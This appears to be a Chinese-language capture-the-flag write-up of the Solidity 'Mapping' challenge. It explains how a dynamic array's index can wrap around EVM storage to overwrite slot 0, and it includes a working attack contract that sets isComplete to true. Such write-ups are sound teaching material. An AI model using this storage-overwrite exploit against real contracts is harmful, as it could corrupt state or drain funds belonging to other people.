Mapping

1. 题目

1.1 Who needs mappings? I’ve created a contract that can store key/value pairs using just an array.
1.2 源码：

pragma solidity ^0.4.21;

contract MappingChallenge {
    bool public isComplete;
    uint256[] map;

    function set(uint256 key, uint256 value) public {
        // Expand dynamic array as needed
        if (map.length <= key) {
            map.length = key + 1;
        }

        map[key] = value;
    }

    function get(uint256 key) public view returns (uint256) {
        return map[key];
    }
}

2. 分析

2.1 最开始题目我是不理解的，上网搜了一下之后才知道，是要让 isComplete 的值返回的是 true ，但是我是无从下手的，源码中没有提供修改 isComplete 值的函数
2.2 去网上搜索解题过程的时候，看到了说只要让动态数组 map 溢出将原来 isComplete 所处的 slot0位置给覆盖即可将未赋值的 isComplete 的值转化为 true（这里还是不太理解的）
2.3 知道怎么做之后就可以分析如何实现数组的溢出
- a. 一个合约的存储最大容量可以看成是一个非常大的数组，最初全是零。数组中的每个值都是 32 字节宽，并且有 2 ^256个这样的值。简单来说就是有 2^256 个 key , 每一个key可以装下 32bytes（1uint = 1uint256=1bytes32=32bytes）题目说明了map 是uint256 类型的数组，也就是说，map 数组中的每一元素占用一个slot，这就说明可以不用考虑几个元素挤在一个slot的情况了
- b. 动态数组在EVM上存储的位置很复杂，他会根据你动态数组声明的位置，即 slot的位置进行hash计算出索引0实际存储的位置，从而开辟一段连续的空间用于存储数据元素， 参考文献
- c. 又因为数组溢出之后，又会从EVM的虚拟数组从索引为0的位置（即slot0）开始存储，就会覆盖原来合约中的数据（即isComplete），***数组的起始位置是通过keccak256(bytes32(“数组长度所在插槽”))计算***
- d. 计算 slot0 的位置：
  1
  2 ** 256 - 1 - uint256(keccak256(slot)) + 1
2.4 攻击合约：

contract Hack {

    MappingChallenge challenge;

    function Hack(MappingChallenge _challenge) public {
        challenge = _challenge;
    }

    function att(uint256 slot) public{

        // 计算出map[0]被hash后分配的位置
        uint start = uint256(keccak256(slot));

        //计算出start 到EVM数组末尾的长度
        // 2 ** 256 - 1 ==>> 是EVM数组的长度 [0,2 ** 256 - 1]
        uint length = 2 ** 256 - 1 - start; // 此时start + length 应该是等于 2 ^ 256

        // 验证了猜想
        // return start + length;
        // 因为 2 ** 256 - 1 + 1 = 0
        // return length + 1;

        challenge.set(length+1, 1);

    }

}

3. 解题

3.1 部署 MappingChallenge合约，部署 Hack 合约
3.2 将map 所处的插槽位置作为形参，调用att函数
3.3 回到 MappingChallenge 合约中查看 isComplete的值已经变成了true